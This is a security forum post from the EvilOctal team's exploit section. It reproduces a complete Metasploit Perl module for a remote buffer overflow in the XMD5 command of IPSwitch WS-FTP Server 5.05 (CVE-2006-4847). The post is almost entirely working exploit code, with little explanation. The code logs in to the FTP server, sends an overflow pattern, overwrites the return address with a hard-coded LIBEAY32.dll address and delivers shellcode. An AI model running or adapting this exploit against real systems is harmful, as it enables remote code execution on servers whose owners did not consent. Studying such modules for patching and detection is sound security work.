邪恶八进制信息安全团队技术讨论组 » 安全测试代码{ Exploits and Shellcode } » IPSwitch WS-FTP 5.05 (XMD5) Remote Buffer Overflow Exploit (meta) [查看完整版本]

pub!1c 2007-2-23 19:23

IPSwitch WS-FTP 5.05 (XMD5) Remote Buffer Overflow Exploit (meta)

[code]
##  
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::wsftp_server_505_xmd5;
use base "Msf::Exploit";
use strict;
use Pex::Text;

my $advanced = { };
my $info =
  {
  'Name'   => 'WS-FTP Server 5.05 XMD5 Overflow',
  'Version' => '$Revision: 1.0 $',
  'Authors' =>
    [ &#39;Jacopo Cervini <acaro [at] jervus.it>&#39;,
   
    ],

  &#39;Arch&#39;  => [ &#39;x86&#39; ],
  &#39;OS&#39;   => [ &#39;win32&#39;, &#39;win2000&#39;, &#39;winxp&#39;, &#39;win2003&#39; ],
  &#39;Priv&#39;  => 0,

  &#39;AutoOpts&#39;  => { &#39;EXITFUNC&#39; => &#39;thread&#39; },
  &#39;UserOpts&#39;  =>
    {
    &#39;RHOST&#39; => [1, &#39;ADDR&#39;, &#39;The target address&#39;],
    &#39;RPORT&#39; => [1, &#39;PORT&#39;, &#39;The target port&#39;, 21],
    &#39;SSL&#39;  => [0, &#39;BOOL&#39;, &#39;Use SSL&#39;],
    &#39;USER&#39;  => [1, &#39;DATA&#39;, &#39;Username&#39;, &#39;ftp&#39;],
    &#39;PASS&#39;  => [1, &#39;DATA&#39;, &#39;Password&#39;, &#39;ftp&#39;],
    },

  &#39;Payload&#39; =>
    {
    &#39;Space&#39;  => 329,
    &#39;BadChars&#39;  => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",

   
    &#39;Keys&#39;     => [&#39;+ws2ord&#39;],
    },

  &#39;Description&#39;  =>  Pex::Text::Freeform(qq{
      This module exploits the buffer overflow found in the XMD command
      in IPSWITCH WS_FTP Server 5.05.   
}),

  &#39;Refs&#39;  =>
    [
    [&#39;BID&#39;, &#39;20076&#39;],
    [ &#39;CVE&#39;, &#39;2006-4847&#39; ],
    ],

  &#39;DefaultTarget&#39; => 0,
  &#39;Targets&#39; =>
    [
    [&#39;WS-FTP Server 5.05 Universal&#39;, 0x1002e636 ],  # push esp, ret in LIBEAY32.dll
    ],

  &#39;Keys&#39; => [&#39;wsftp&#39;],

  &#39;DisclosureDate&#39; => &#39;Sep 14 2006&#39;,
  };

sub new {
  my $class = shift;
  my $self = $class->SUPER::new({&#39;Info&#39; => $info, &#39;Advanced&#39; => $advanced}, @_);
  return($self);
}


sub Exploit {
  my $self = shift;
  my $target_host = $self->GetVar(&#39;RHOST&#39;);
  my $target_port = $self->GetVar(&#39;RPORT&#39;);
  my $target_idx  = $self->GetVar(&#39;TARGET&#39;);
  my $shellcode  = $self->GetVar(&#39;EncodedPayload&#39;)->Payload;
  my $target    = $self->Targets->[$target_idx];

  if (! $self->InitNops(128)) {
    $self->PrintLine("[*] Failed to initialize the NOP module.");
    return;
  }

  my $request = Pex::Text::PatternCreate(676);
   $request .= pack("V", $target->[1]);
   $request .= $shellcode;
   
   
   

  my $s = Msf::Socket::Tcp->new
    (
    &#39;PeerAddr&#39;  => $target_host,
    &#39;PeerPort&#39;  => $target_port,
    &#39;LocalPort&#39; => $self->GetVar(&#39;CPORT&#39;),
    &#39;SSL&#39;     => $self->GetVar(&#39;SSL&#39;),
    );

  if ($s->IsError) {
    $self->PrintLine(&#39;[*] Error creating socket: &#39; . $s->GetError);
    return;
  }

  my $r = $s->RecvLineMulti(20);
  if (! $r) { $self->PrintLine("[*] No response from FTP server"); return; }
  $self->Print($r);

  $s->Send("USER ".$self->GetVar(&#39;USER&#39;)."\n");
  $r = $s->RecvLineMulti(10);
  if (! $r) { $self->PrintLine("[*] No response from FTP server"); return; }
  $self->Print($r);

  $s->Send("PASS ".$self->GetVar(&#39;PASS&#39;)."\n");
  $r = $s->RecvLineMulti(10);
  if (! $r) { $self->PrintLine("[*] No response from FTP server"); return; }
  $self->Print($r);

  $self->PrintLine("[*] Attemping to exploit target &#39;".$target->[0]."&#39;...");

  $s->Send("XMD5 $request\n");
  $r = $s->RecvLineMulti(10);
  if (! $r) { $self->PrintLine("[*] No response from FTP server"); return; }
  $self->Print($r);

  sleep(2);
  return;
}

[/code]

查看完整版本: IPSwitch WS-FTP 5.05 (XMD5) Remote Buffer Overflow Exploit (meta)

© 1999-2008 EvilOctal Security Team